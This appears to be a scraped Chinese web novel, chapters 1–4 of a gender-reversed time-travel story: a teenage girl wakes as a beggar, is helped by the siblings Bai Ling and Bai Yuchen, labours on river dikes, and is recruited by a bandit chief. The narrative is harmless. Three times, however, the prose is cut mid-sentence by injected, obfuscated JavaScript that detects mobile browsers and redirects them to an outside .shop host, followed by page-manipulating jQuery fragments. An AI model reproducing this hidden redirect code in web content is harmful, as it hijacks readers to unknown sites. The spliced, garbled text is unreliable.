《奴随妻主,渡日月长(女尊)》 1. 穿越 “大当家的回寨,大伙儿速来聚义堂,有好酒好肉吃喽!” 寂静的兴龙帮,突兀的喊声划破深夜,此时已是午夜,大部分的土匪已经睡熟,只除了一些守夜的,伴着星星点点、忽明忽暗的蜡烛,却也是双眼沉沉,强撑罢了。 只是随着这一声叫嚷,以及远处山路上那浩浩荡荡点着火把的队伍快速前进,那点困意便瞬间消失不见。“大当家的回来了!”胜利与兴奋的气息在寨子里弥漫,越来越多的土匪听到动静,赶忙披衣出来,左右相告,三三两两地结伴去了聚义堂。 听到动静的李明珠,或者说,是土匪李一百零九也加入到了队伍当中,只是没跟旁人一起,她刚来兴龙帮没多久,与众匪还不太相熟,便独自一人跟在了队伍末尾,还特意把腰带扎松了些许,准备为一会儿的大吃大喝留有余地。 穿越到这不知名的女尊朝代已经半年多了,便是上兴龙帮为匪也有三月有余,这还是她第二次见到荤腥,当初以为当了土匪就能天天大碗喝酒大口吃肉,李明珠仰天长叹,“电视剧误我!” 半年多前,她还是一名高三生,为了即将到来的高考做最后的准备,连走在路上都不忘学习,被疲劳驾驶的大货车撞倒,就来到了这个世界,穿到了一名小乞丐的身上。 甫一睁眼,头痛欲裂,李明珠发现自己正身处一间破庙之中,周围零零散散有几个人,都是破衣烂衫。 低头看看自己,瘦小的身子套着一件并不合身的粗布衣裳,已经脏的看不出原本颜色,胳膊上手上也是灰黑一片。 想张口说话,却发现嗓子哑的惊人,几乎发不出声,唇也是干裂的。 她只能扶着地晃晃悠悠起身往外走去,想找点水喝,幸好,门外不远处就有一口井。学着以前电视里打水的动作,费了老半天劲,终于拽上来半桶水,咕咚咕咚喝了,又洗了手,才力竭般靠着水井喘气。 稍稍休息了一下,李明珠趴在井口,想看看自己现在是什么模样。结果不看不知道,一看吓一跳,就见水面上浮着一道只能勉强称之为“人”的倒影。 这是一张什么样的脸啊!糊成一团,连五官也难辩,枯草般的头发盘踞在头顶,那模样,鸟看了都想在上面生蛋。 无奈,她只好重新打水洗脸,又拽拽头上那堆“枯草”,纠结片刻,还是怕着凉,只敢洗洗脸,没动那“鸟窝”。没有帕子,李明珠用双手掬水,认认真真洗了好久,却在又一次看向井里的自己时差点崩溃。 ……算了,腌入味了。 仔细打量,她发现这具身体也就是十三四岁的模样,不过可能因为营养不良,面黄肌瘦,个子也不高,唯有那双眸,明亮显眼巴掌大的小脸,两颊微微凹陷,凸显得眼睛更大了。 李明珠有些无语地想,像以前在课本上看过的某国难民。 空着肚子回到乞丐们聚居的城隍庙时,她本想不惊动任何人悄悄躺下,毕竟她没有原主的记忆,话多容易露馅,就想先不动声色地观察几天。 但奈何天公不作美,怕什么来什么,她刚刚靠着草垛躺下,闭目养神,就听到旁边一声粗犷的嗓音,带着些不善:“喂,黑子,你今日的纳贡还未交,还不快给你奶奶我拿过来,青天白日的,不去讨饭,还睡上觉了,是不是讨打!” 被这声音震醒,李明珠睁眼看向对方,是一个面似钟馗,赤裸着双臂,臂粗如碗口的女人。她偷偷吞了吞口水,面上无喜无悲强自镇定,心头却暗叫不好,谨慎地开口回道:“纳贡?何为纳贡?交钱吗?” 那女人不满地皱皱眉,“你在这儿给奶奶装甚么糊涂,咋地,出去喝了点猫尿就不知道这是谁的地盘了?” 她用那双蒲扇般的大手揪住李明珠领口衣襟,稍一使劲儿,就轻松把她拎了起来。 于是,这时候讨完饭回来的乞丐们,刚一进庙门,就看到了这一幕:一个身长九尺膀大腰粗的女人,手上拎着个颤颤巍巍、瘦弱不堪又瑟瑟发抖的小鸡仔儿,那小鸡仔站在地上,衣襟被紧紧揪着提起,双脚根本落不到实地,只能堪堪用脚尖勉强站立,即便这样,头顶也才只能到那女人的胸口。 众乞丐见此情状,不禁倒吸一口气,但也只是略略惊讶了一会儿,便纷纷走开,不再去管。他们不是第一天做乞丐了,这样的事见过的没有上千也有几百,早已不能激起他们半点同情。 这光景,又是乞丐这样的身份,连自身都是朝不保夕,不知明日在何处地活着,又哪来闲心管旁的什么呢。 别说这黑子只是被老大教训一番,就是真的打死了,恐怕还不如路上捡到半个馍带给她们的触动大。 那女人似乎也知道在自己的地盘上,没人会管这些事,便更加肆无忌惮,想教训教训这不知天高地厚偷懒的小妮子,只是拳风还没落下去,就听旁边传来一声清冽的声音:“手下留情,老大,她今日刚摔了头,你这一掌下去,恐怕人就没了,到时也是麻烦,不如便饶过她这一次。” 很显然,说话之人有一定分量,成功让那只攥着李明珠领口的手犹豫了一下,也让原本被吓得呆若木鸡的李明珠回过神来,以前从未经历过这样的事,让她的整个身体僵硬无比,但求生的本能,迫使她抬起颤巍巍的双手,轻轻搭在那浑厚的手臂上,颤声道:“大、大姐,好汉,有话好、好好说,你先把我放下来行吗?” 对面之人眉头紧紧皱着,眉心处印痕如沟,大约是实在看不上这小乞丐窝囊的样子,嫌恶地松开了手。 钳制的力道猛然一松,李明珠略一踉跄,眼看就要向旁边倒去,一双微凉的手扶住了她,待她站稳后才放手。李明珠侧头看去,见是方才出声替她解围之人,便低低道了声谢。 “你让我放了她,可她今日的纳贡还未上交,若是就这样揭过,其他人也效仿于此,我的威信又何在?”那女人不耐地说着,目光略带不悦地扫过其他三三两两缩在角落的乞丐们。 李明珠刚想回答,胳膊就被旁边之人轻轻拉住了,耳边又传来那清润的嗓音:“大姐要是不嫌弃,不如今日便暂由我替她出了这纳贡,也算是有个交代,待明日她好些了,再出去做工,如何?” 大抵是忌惮面前这人,也实在嫌弃这小鸡仔畏畏缩缩的样子,那被称为老大的女人勉强应了,拿了纳贡的粮食,就抬步出了城隍庙。 被留下的二人面面相觑,看出李明珠的局促,对面之人轻笑出声,“怎么,竟是吓傻了?难不成真摔坏了脑子?” 灵光乍现! 正愁不知怎么跟人解释自己什么都不记得了,世上竟有如此巧合的事,原主也摔了脑袋!转念一想,莫非自己就像电视剧里演的那样,不同空间的人同时遭到重创,灵魂互换了?但不管怎样,能活着已是万幸,即便是当乞丐,好歹小命保住了。 心中百转千回,面上却是不显,倒不是李明珠城府多深,实在是人到绝境,身体激发出了自我保护潜能,她知道,自己不能露出太多破绽,她要活下去。 心中默默对面前的女人说了声抱歉。随即作虚弱状,揉了揉鸡窝似的脑袋,眼中也迷上了一丝雾气,慢慢说道:“这位姐姐,我方才醒来的时候,就什么也不记得了,你说我磕到了头,刚才还替我解了围,莫不是,与我相识?” 李明珠一边气游若丝地套着话,一边用手捂着脑袋偷偷打量着对方,刚才情势太紧张,她又刚穿过来,整个人都是懵的,直到现在,才真正看清对方的模样。 与那清冽嗓音给人的感觉不同,面前之人也是身材颀长,孔武有力,却有着与刚刚那壮硕女人截然不同的卓绝气度,眉宇间英气十足。 对方虽穿着与她一样的褴褛衣衫,但身形挺拔,乍一看过去,绝不会认为她是乞丐,那双手负后之时,肱二头肌微微鼓起的模样,莫名有点像睥睨沙场的将军。 李明珠正沉浸在自己的想象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202144|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,耳边却突然传来了一声焦急的嗓音,“阿珠,你真的什么也不记得了吗,怎么会这样?你现在还有没有什么不舒服的地方?”那声音说着说着,竟还带上了哭腔。 李明珠被这突然出现的男人吓了一大跳,尤其是对方竟然一言不合就开哭,更是让她惊得摸不着头脑,忙将目光投向对面的女人,刚想开口,就听旁边那男人快她一步,也转头看向女人道:“阿姐,阿珠她,她不记得我们了,怎么办阿姐,她会不会有事,我不要她出事,阿姐你想想办法,想办法救救她吧。” …… 李明珠被眼前这场景弄得有些懵,思维也跟着男人焦急混乱的语言,四处乱飘。一会惊讶于她们二人的关系,一会儿无语的想自己还没摔得那么严重,应该还死不了,便好一会儿没说话,但落到男人的眼里,更加深了他的恐惧,哭着摇晃李明珠的手臂,问她是不是真的傻了。 李明珠:你要这么说,我可就不装了。 伸手制止住男人摇晃她的手,“停,你要再这么晃,没傻也被你晃傻了。我没什么大事,就是摔倒头有些晕晕的,休息一下就好了,你先别哭了,越哭我越晕。”同时,又在心里感到一丝奇怪,怎么这个世界总给人一种违和的感觉呢,一个大男人说哭就哭,看看他姐姐,沉着冷静,多靠谱啊。 “明珠说得对,玉尘,你自己坐好,别动她了。“还是熟悉的清冽嗓音,拉回了李明珠走远的思绪。 白灵制止了弟弟的动作,自己也坐在他们旁边,“明珠,你当真什么也想不起来了?你可还记得自己是谁吗?” 李明珠摇摇头,“想不起来了,你们叫我明珠,这是我的名字吗?”方才听到这熟悉的两个字,她甚至有些恍惚,是宿命吗,原主跟她的名字一样,她有些急切地看向女人,想寻求答案。 白灵点头,“是,你同我们说过,你叫李明珠,家住淮阳县,也是因着淮河决堤,一路逃难到此。我叫白灵,”她又指向一旁的男子,“这是我弟弟,白玉尘。”看着李明珠眼睛都不眨地听自己讲话的认真模样,她不禁失笑:“你今日才受伤,不要逼自己一下子想那么多,吃些东西睡一觉,也许明天就什么都想起来了。” 说着,从怀里掏出了个饼子,一掰两半,一半给了自家弟弟,另一半,放到了李明珠的手上。 李明珠愣愣地捧着半个饼,突然想起刚才白灵为了救她,给那女人交了纳贡,她那时才知道,乞丐也是有地头的,每日都要给地头老大上交部分食物或是银钱,不然轻则挨打,重则还会直接打伤之后扔出去,现如今是夏天,倒还好些,要是冬天,受着伤被丢到冰天雪地里,基本上就只能一命呜呼了。 白灵把自己的食物替她交了纳贡,还把仅剩的一张饼都分给了他们,想到这,李明珠无论如何也咽不下去了。 她又把自己手上的饼一分为二,递了过去,白灵一怔,随即绽开笑容,温和道:“你一整日都未进食了,多吃点,我不饿。”说着伸手推了推李明珠拿着饼子的手,没推动,即便很饿,但多年来的教养和良心,让她无法理所当然地独自享受别人辛苦的成果,尤其是在对方还饿着肚子的情况下。 白灵还要继续推拒,又有一只手递了过来,是白玉尘,他也把饼子掰了一半,“阿姐,你就吃吧,你也一日都水米未进,早上那半碗粥,还都给我喝了,你要是不吃,那我也不吃了。” 看着面前的两只手,又看看对面两张黑黑瘦瘦的脸,白灵心里鼓胀,眼睛也有些酸,她把脸别过去,顶天立地的大女人,如何能轻易落泪?更何况,还有这两个要靠自己保护。 快速吸了口气,将那鼓胀按下去,暖意却久久不散,接过两人手上的饼,于是,三个苦瓜就这样排排坐,就着凉水,啃完了又凉又硬的饼子。 暮色渐浓,李明珠今日体力耗费巨大,吃完饭后就靠着草垛睡下了,那些还没搞清楚的事,就,留待明天。 2. 乞丐 翌日 翌日,阳光透过窗棂洒进来,李明珠悠悠转醒。刚一睁眼,她几乎要忘了已经穿越的事实,还以为自己依旧是要赶早自习的高三生,鲤鱼打挺似地坐起来,才猛然想起这不是自己的房间,这个时代也是不属于自己的时代。 情绪有些低落,但是很快,她就又重新接受了现实,她不是一个会放任坏情绪弥散的人,快速调整好心情,一骨碌从草垛上爬起来,目光在屋内扫视了一圈,没看见白家姐弟,她便先去打水漱口洗脸了,虽然条件有限,也想尽可能让自己干净些。 只是刚要抬脚跨出门槛,便差点撞上了进来的两人,惊喜的声音从耳边绽开:“阿珠,你终于醒了,怎么样,还有什么不舒服吗?”说罢,又有些怯怯:“那你,记起我们了吗?” 李明珠也不知要怎么回答,要怎么告诉他自己已经不是他所认识的李明珠,而是一个来自异世的灵魂。她抿唇:“已经好多了。”然后便是长久静默。 白灵看出她的犹豫,拎着一个竹篮走上前来,“玉尘,先让阿珠吃些东西吧。”说着,从篮子里拿出一碗粥递给李明珠,“这是玉尘今日一早亲手熬的,他担心了你一夜,原本我想给你买一碗,他却不肯,偏要借人家厨房给你熬了些。“ 手里的碗,仿佛有千斤重,李明珠知道,这碗粥和他们的关心,都是给原主的,他们是原主的朋友,而自己,是窃取了他们情谊的小偷。 见她只捧着碗傻站着,白玉尘心中不由得有些紧张,这也是她第一次为阿珠做吃的,之前都是她和姐姐一起照顾自己,昨日阿珠打水时不小心摔倒了,磕到头昏了过去,几乎要将他吓死。 从她当初救下自己,他们已经相依相伴了大半年,她外表虽不如姐姐高大健壮,但每每遇事,少女都会挡在他前面,她总是沉默着,话也不多,却无端的让自己感觉安心,他的心,也在这日日夜夜的相处之中,渐渐动摇、沦陷。 这一瞬间,心思百转千回,却都如同定向的细丝般缠绕,细丝尽头的那个人,正捧着他熬的粥,她依旧那么专注,令人迷失。 两个人都陷入了自己的思绪中,这样的场景原本有些谜情若愫,却被一声“再不喝,粥要凉了。”的不解风情的话打破了。 各自回神,李明珠也知道,现在并不是留给她伤春悲秋的时候,她已经受伤躺了一整天,就她昨日在街上和庙里所看到的景象,这不是一个太平盛世,白灵也跟她说过,整个城隍庙,乃至她们像现在所处的京城江洲,天子脚下,也全是因洪灾或匪患来避难的人。 她要振作起来,不能只靠着白家姐弟,他们都是善良的人,也值得被善意回馈。 依旧是三人分食了一碗粥,原本白灵说她们已经吃过干粮了,这碗粥只是给她一个人熬的,但李明珠经过昨天,已经知道他们所说的干粮,那真的是又干又硬,嚼一口要喝两大口水,嚼累了还要歇上半天,便也强硬道:“若是你们不喝,那我也不喝。”这才让二人松口。 白灵和白玉尘对视一眼,具在对方眼里看见了感动之色,尤其是白玉尘,眼倏的一下红了,是了,阿珠即便失忆,也还是会记得对他好,他一军户之子,何德何能…… 半碗粥,只能喝个三分饱,剩下的七分还得靠自己找补。三人一同出门找活计。 方才吃饭时,她从白灵口中得知,在这城隍庙里的大部分人,都不是靠乞讨为生的,前几年皇帝昏庸无道,导致国库亏空,百姓民不聊生,各地灾害频发,大量难民只能东迁,多聚集在江洲、绥远等地。 尤其是江洲,素有“鱼米之乡”的雅称,又是京城,天子脚下,各地流民熙攘而来,其中不乏像白灵这样有些力气之人,可以在外找些活计赚点银钱,否则,再怎么富饶,对于成千上万的流民来说,也是远远不济。 她们三人是一个多月前到的江州城,平日里白灵跟“李明珠”在城外加筑河堤,据说这还是当朝状元娘子的提议。 半年多前,新帝刚刚登基,就碰上了水患,以左相为首的士族联合上书,请求圣上下旨关城门,严加盘查出入国都的人马车架,禁止流民入京。 而右相及其身后的寒门,则大力劝谏广开城门,将城内各寺庙、道观等地设为流民所。 两派各持己见,在女帝眼皮子底下对峙了半个多月,也没有个结果。巧的是,当时正值殿试期间,女帝大笔一挥,将议题放进了考题之中。 状元娘子闻芳便是凭借此题夺得榜首,当然,闻芳也是出身寒门,算是天然的右相党,就算是出于政治考量,她也不能与右相以及寒门背道而驰。 只是,偌大数量的流民想要在江洲生存下去,除了住处,粮食也是一大问题。 新帝初登百废待兴,谁的日子都不好过,也不能长久指望朝廷或是富户开仓放粮赈济灾民。再者,这些流民之中不乏宵小,若是不加严格管控,对老百姓来说,也是徒增隐患。 她在策论中向女帝进言,“循淮河、漳河之鉴,江洲地处黄河下游,实属天险,更应加固河道修坝筑堤,此需劳力者甚,陛下若有此意,流民之中有力者众,皆为您之所用也。” 隔日大朝,女帝下旨,命西城隍庙、土地庙、安若寺等出让部分庭院,以收容流民,又令工部负责黄河河道修筑事宜,招募大量劳力,每人每日四张胡饼并两文钱,虽说不多,却也够一家两三口人每天的嚼用了。 自然,流民之中也有男子或年老体弱之人,他们中有的没有家人,便只能靠自己出来干活维持生计,不过正好,做胡饼也需要人手,朝廷干脆就在河道旁不远处设了厨房,只招些男子来做胡饼,还负责些烧水打杂的活儿,一日下来,也可得两个胡饼,饿不死罢了。 换做以往任何时候,李明珠听了这些事,也只会把它当作历史来听,直到自己真正成了主人公,才体会到“以工代赈”这四个大字的辛酸。 不过现在,她的重点倒不在这上面,“你说什么?这里是女子为官做宰、女子建功立业,他们男子在家里相妻教子?” 怪不得,怪不得她总感觉有什么地方很违和,这也能解释先前白玉尘一见到她就哭的行为,当时她还觉得一个男人说哭就哭有些惊悚,现在一切就说得通了。 只是,还是很震惊啊! 不能怪李明珠大惊小怪,毕竟她穿越的这个大荣朝,历史上并没有出现过,直到刚才,白灵说到什么“女帝”什么“状元娘子”的时候,她才猛然醒悟。 等等,李明珠突然转头看向白玉尘,目光在他脸上停留了片刻,又一路向下……白玉尘被她看的两颊微微泛红,刚想开口询问,却见她猛然又把头扭了回去。 白玉尘被她这番举动搞得不上不下,他旁边的白灵也是一头雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202145|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,“怎么了阿珠,可有不妥?” 李明珠双唇翕动,有些难以启齿,犹豫半晌,终究是按捺不住好奇心,她将白灵拉到旁边,稍稍与白玉尘拉开了些距离,也不敢往他那边看,只小声道:“白灵姐,我,就是,就是,我想知道,男子可能生育?” 她讲得支支吾吾,白灵听得更是面红耳赤。拿手点指她的额头,但又念着她什么也不记得,还是红着脸点了点头,“自然是男子生育。” 嘶,李明珠倒吸一口凉气,脑海中一片混乱,男人生孩子,男人生孩子,恰好瞥见白玉尘正在朝她们这边走来,眼前便浮现出对方怀着身孕、小腹隆起的模样……天呐! “你们在聊什么?” 幻境刺啦一声碎了。不敢直面这声音的主人,李明珠快步朝前走去。 只是走着走着,她突然想到了些什么,停住,思考,然后伸手一路向下……呼——还好还好,没有那根不该有的东西。 刚刚走到她身边的白家姐弟瞧见如此举动,犹如石化般怔在原地。 空气突然安静。 谁也没有说话,六目相对,四眼震惊,三脸尴尬。 知道情况的白灵率先反应过来,生涩地转移话题:“咱们得快些了,上工时辰要到了。”然后一手扯着一个朝前走去。 加固河堤并不轻松,她分到的活是用小板车将成堆的沙石运到河道两旁,这还是监工看她年龄小又身形瘦弱,照顾她才给她安排的轻省活计,不然像白灵这样健壮的,全被当作重劳力在那边扛大包去了。 但即便是这样,傍晚下工时,李明珠也累的只能靠在白灵的肩上,将全身力气都卸给她,才勉勉强强走回城隍庙,瘫在地上说什么也不起来。 白灵也没催她,自去井边打了桶水,脱了上衣,简单擦洗了事,也没穿衣服,只穿着一件裹胸提着水桶进了屋。 如死鱼一般躺在地上的李明珠听到脚步声,甫一睁眼,美好的身躯映入眼帘。 李明珠一惊,顿时想鲤鱼打挺起身,但她高估了自己的体力,起身未半而中道崩殂。 从一个手不能提肩不能扛,最大的运动量也不过是八百米体测的高中生,变成一个贫苦劳工,只用了一天。 就在她以为这次一定会摔得七零八落,让自己本来就没恢复的身子雪上加霜时,预想的疼痛并没有传来,腰间被一双有力的手揽住,鼻尖擦过柔软。 两人具是一僵,这次是李明珠先缓过神,扶着白灵的手臂慢慢站稳。脸有些发烫,但是她现在太黑了,没人看的出来。 拎着竹篮进来的白玉尘,也只是感觉阿珠和姐姐之间的气氛有些古怪,但出声询问,她们只说没事,他也就没在意。 将竹篮打开,李明珠伸头一瞧,惊喜道:“咦!今日居然有小菜!阿玉,这是你做的?” 见她这么开心,白玉尘也是满心欢喜,认识阿珠以来,他们都在被迫逃难,从香河一路往东南,历经数月才到了江州,她还从未能尝过自己做的吃食。 爹以前说过,想要抓住一个女人的心,就要抓住她的胃,他当时还嗤之以鼻,说自己绝不会为讨一个女人的欢心而去伏低做小,委屈自己。 但是现在,看着对面大快朵颐,还不忘夸赞他给他夹菜的少女,白玉尘心里再无其他,只有暖意蔓延过四肢百骸,似蜜糖甜。 3. 救美 这样从城隍庙到河堤两点一线的日子,已经过了差不多快三个月。李明珠对自己的古代生涯,额,准确来说是古代女尊生活,已经颇为熟悉了,当然,更多像是认命了。 这几个月来,她几乎每天都是重复的,早上起来与白家姐弟一起出城上工,傍晚再结伴回来,从盛夏到初秋,她们的身影丈量着日落,白日渐短夜渐长。 李明珠原本以为,这样的生活会一直持续下去,她会和白灵一起靠做工攒银钱,想着等到朝廷议出对策,给她们身份和路引,就在城中租一间小院。 白玉尘还在一次看见李明珠半夜起身独自揉着发酸的肩膀时落泪,哭着说日后自由了,有落脚地了,他就去卖绣品养她,再不叫她去干什么劳什子苦工了,只凭她在家里找猫逗狗,耍枪遛鸟。 这番话把李明珠给感动坏了,狠狠揉了把对面少年的头发, “怎能让你养,我是女子,合该是我养你们才对,还有白灵姐,到时候,我们得租一间大点的院子,白灵姐还能在院子里练枪,还有还有,还要一个大厨房,你厨艺那么好,可不能浪费了……” 于是,在那个深夜,微弱的烛光下,少男和少女青涩地诉说着他们所想的未来,他们旁边,稍暗的阴影里,一双温柔的眼睛睁着,看着烛火里少女,手不自觉地虚触那抹倩影,唇畔漾起弧度。 三人长久地沉浸在畅想出来的以后中,却忘了世事无常。 当时只道是寻常。 每天傍晚下工之后,白玉尘都会让她们先回来休息,他自己则去城隍庙对面的食肆帮工,自从那日第一次给李明珠做饭得到她极大推崇后,他就像受到鼓舞般每日都要做,说是心疼她们干活累了,不能只吃干硬的饼子,虽然条件有限,没有珍馐食材,但仅仅是常见的萝卜白菜,他也能做出许多花样来。 时间久了,跟食肆的掌柜也渐渐熟识,又见他手艺不错,便提出让他日下工后来自己店里帮忙。 原本白玉尘要借他们的厨房做饭,都是自带食材且每次需给两文钱的柴火钱,要是去帮工,便不需再额外给钱,且若是店里有余下的吃食,也可以让他带走些。 白玉尘当然是欣然应允,他每次看姐姐和阿珠辛苦一天,才能得来几文钱,他就心疼的无以复加,她们把赚来的银钱都给了他,让他想吃什么就买些,可是白玉尘哪里舍得,他比任何人都珍惜这银钱,每日也只在菜店快打烊时,低价买些不那么新鲜的,要是能去食肆帮工,既能省钱,能做的吃食也会更多。 因此这段时间,他申时下工后,都会直接去食肆,忙完再做好他们的晚食,最晚酉时末便能回来,因为食肆就在城隍庙斜对门,也就几步路,白玉尘便不让她们去接。 一开始李明珠还有些不放心,毕竟是晚上,这边流民也多,三教九流聚集于此,一个男人孤身出门总是不太安全,她就去接过几次。 但每次去,都被白玉尘劝回来了,他在其他事情上都听她做主,唯独这件事格外坚持,阿珠已经很累了,断断不能再让她为自己的事劳心。 然而就在这天晚上,本该是平常吃饭的时候,他却迟迟不归,李明珠便让白灵看着吃食,她自己则提了烛台去寻。 本以为可能是客人太多耽搁了,但刚走到院子里,李明珠就听到了里面的吵闹声,似乎还有推搡的动静。 她连忙加快脚步,猛地推开门,就见里面乱作一团,双目快速搜寻白玉尘的身影,然而就在此时,她听到了一声熟悉的嗓音,“唔,嘶,你,你放开我。我家人就在此处……” 他的话还没说完,就这样卡在了喉咙里,泪眼朦胧中,一道倩影闯入他的视线,占据了他所有的目光,这是他再熟悉不过的身影,又如天神般降临了。 李明珠一开始没发现他,直到那声痛呼,像锥子一样仿佛要刺穿她的耳膜。 兀然回头,看到的一幕却让她怒火上头,白玉尘清瘦的身影被一群五大三粗的女人围在中间,其中一个人还拽着他的手腕。李明珠想也没想,快步走上前去,一把攥住那女人的手臂扯开了她。 女人被她拽的一个趔趄,被同伴扶住才站稳了身子,见害自己差点摔倒之人只是个毛都没长齐的小女人,不由怒骂:“哪儿来的乳臭未干的小丫头,赶紧滚,还敢管你奶奶我的事了,出门打听打听奶奶是谁,穿身破烂就敢往我身边凑。” 又扬声向旁边喊道:“阿江,把这不知天高地厚的野丫头扔出去!” 就见周围原本在看热闹的人群中走出来一人,也生得高大魁梧,眼睛瞪得像铜铃,听了自家主子的话,就要朝李明珠抓去。 李明珠自然不可能站着让她抓,别的不说,她穿到这个世界已经好几个月,也干了这么长时间的苦工,力气增长了不少,她人小又灵活,比那大块头动作迅速的多。 她先是把白玉尘推出人群,让他远离危险,自己则脚步灵活地绕到那侍从旁面,利落出手先发制人,蓄力,一拳打到她的腰侧。 “嘭!” 那人不可置信地看着李明珠,侧身摔倒在地。 周围还在起哄看热闹的人顿时鸦雀无声,时间仿佛静止般,除了地上之人呼哧呼哧地出气声,其余人仿佛被施了定身法。 李明珠将那只发麻的手背到身后,环视众人,独属于少女的清亮嗓音想起;“可还有人要上前?” “好!这小姑娘真是好样的。”一道爽朗豪放的声音响起,李明珠回头,瞧见一个头戴皮毡帽,身着灰色长袍的中年女人,一边拊掌叫好,一边朝她走过来。 李明珠有些不明所以,便一时没有说话。 那女人来到她面前,大掌拍了拍她的肩膀,赞道:“你这小娃,真是有本事,力量相差如此之大,你居然还能巧施计策,将力量集中于一点,趁其不备而胜过于她,真是有勇有谋,可谓将才啊,你若是能上战场,也是有一番造化的啊。” 方才她亲眼目睹李明珠是如何一拳制胜,那对手高大,腿却不长,腿短而身长,意味着重心低。也就是说,只要能击中她的腰部,就有机会将她一击击倒,但二人很明显力量悬殊,正面硬打李明珠不占优势,这小姑娘就靠着娇小的身形,灵活绕到对方身侧,积蓄力量于手臂,出拳,直接打到那人的侧腰。 要知道,一般人前后的平稳性都要高于左右平稳,人在面对打击时,更容易往两边倒去,李明珠正是利用了这一点,用更小力量打败强大的敌人。 那人在倒地时,由于过于庞大的身躯,加剧了下落时的冲击力,所以,她现在倒在地上起不来,其实并非李明珠的力量,而是……摔得太重了。 方才那调戏白玉尘的女人脸色青白交加,但身边最厉害的侍从都被打成那个样子,她也没胆量再继续放狠话了,只在同伴的劝说下,半推半就地被拉走了。 而刚才发生争执时就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202146|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直隐身的掌柜终于出现了,着人收拾现场,将地上的侍从阿江抬起来,送回她们府里。 随即转身,端着谄笑,装模做样地和起稀泥来,“欸呦喂众位客人,坐坐坐,今儿这事,主要是我这小厨的错。” 说着,那双略吊的鼠眼看向白玉尘,目露威胁,“小子,还不快给众位娘子赔个不是。” 李明珠:拳头硬了。 她一把将白玉尘拉到自己身后,怒声道:“我本以为掌柜肯让我们用厨房,定是为明事理的善人,却没想到,今日得见,原来是一个首鼠两端,看人下菜的小人!明明是那女人挑衅在先,阿玉受了委屈,你作为老板,不去维护他,反而任由他被别人欺辱,你这样的人,不配让阿玉做事,自今日起,我们也不会再上门!” 李明珠越说越气,直接拉了白玉尘的手就要往外走,却被一个声音拦了下来。 “小娘子稍等。” 是那中年女人的声音,疑惑转身,便听那声音继续道:“小娘子,这周围没有民宅,尽是些寺庙道观,又靠近城外,一般人轻易不到这来,这么晚能出现在这儿,想必,你们刚来京不久的流民罢。”她说到最后,语气已是肯定。 李明珠点点头,她也不意外对方能看出来,无它,只要低头看看自己这身衣裳,以及每日干活被晒得黢黑的脸,想猜不出来她的身份都难。根本没有隐藏的必要。 确认了她的身份,就见那女人朝与她同桌的另一人递了个眼神,两人便一同向她走来,“我们想同小娘子商量些事,但这不是说话的地方,可否移步?” 李明珠略一思忖,同意了。 她并不认识这两人,但因着她们跟方才欺辱白玉尘的人不是一伙的,又对她频频夸赞,李明珠对其并不排斥。她也很好奇,就现在自己这乞丐模样,究竟能有什么事找她。 背在身后的手被白玉尘小幅度地扯了一下,李明珠微微侧头看向他,见他殷红未消的水眸中藏着担忧,便轻轻回握了握他的手,递给他一个安心的眼神。 见他还是不放心,便悄悄凑到他耳边,用只有二人能听到的音量小声说:“放心,白灵姐还在城隍庙呢,咱们直接带她们回去,她们要是敢动歪心思,别说只有俩人,就是再来十个,也不在话下。” 一行人各怀心思。 回到城隍庙,白灵赶忙迎了上来,“怎么去这么久,再不回来,我就找你们去了。“顿了顿,她才注意到与李明珠她们一起进来的,还有两位女子。 其中一人年纪稍长,看起来已年过四十,身材魁梧,着一身灰色长袍,看着像是文人打扮,但视线向下,落到那人垂在身侧的手上,虎口处有厚厚老茧,白灵常年习武,有自小随母亲在军营长大,知道那是常年使枪留下的。 心中咯噔一下,虽不知李明珠只是去寻白玉尘,又怎么带了这两人回来,但现在不是纠结这些的时候。 白灵上前一步,挡在李明珠身前,朝那灰衣女子抱拳,警惕道:“二位,不知来此有何事?” 灰衣女子见她如此戒备,哈哈一笑:“这位娘子无需紧张。” 又看向李明珠,“方才人多,不便深言,这位小娘子,某姓熬,单名一个煞字,是京城三十里外兴龙山上兴龙帮的大当家,适才见你身手伶俐,不一味使蛮力而懂谋划,小小年纪,胆识过人。若小娘子有意,家中无母父挂心,可否上我兴龙帮,做我左膀右臂?” 4. 吃肉 “说好的左膀右臂呢!”回首过往,真是唏嘘不已,李大小姐四十五度角仰天长叹。 自从当日被忽悠上山,大当家的天天见不着人,寨子里只剩她们这些小喽啰,每日就是练练功,打打拳,三个月弹指一挥间。 原本当初与白家姐弟商量好,等她在兴龙帮站稳脚跟,要给她们带大鱼大肉回去,现实却给她当头一棒。莫说一展宏图酒肉管够,就是青菜馍馍也得计算着吃。 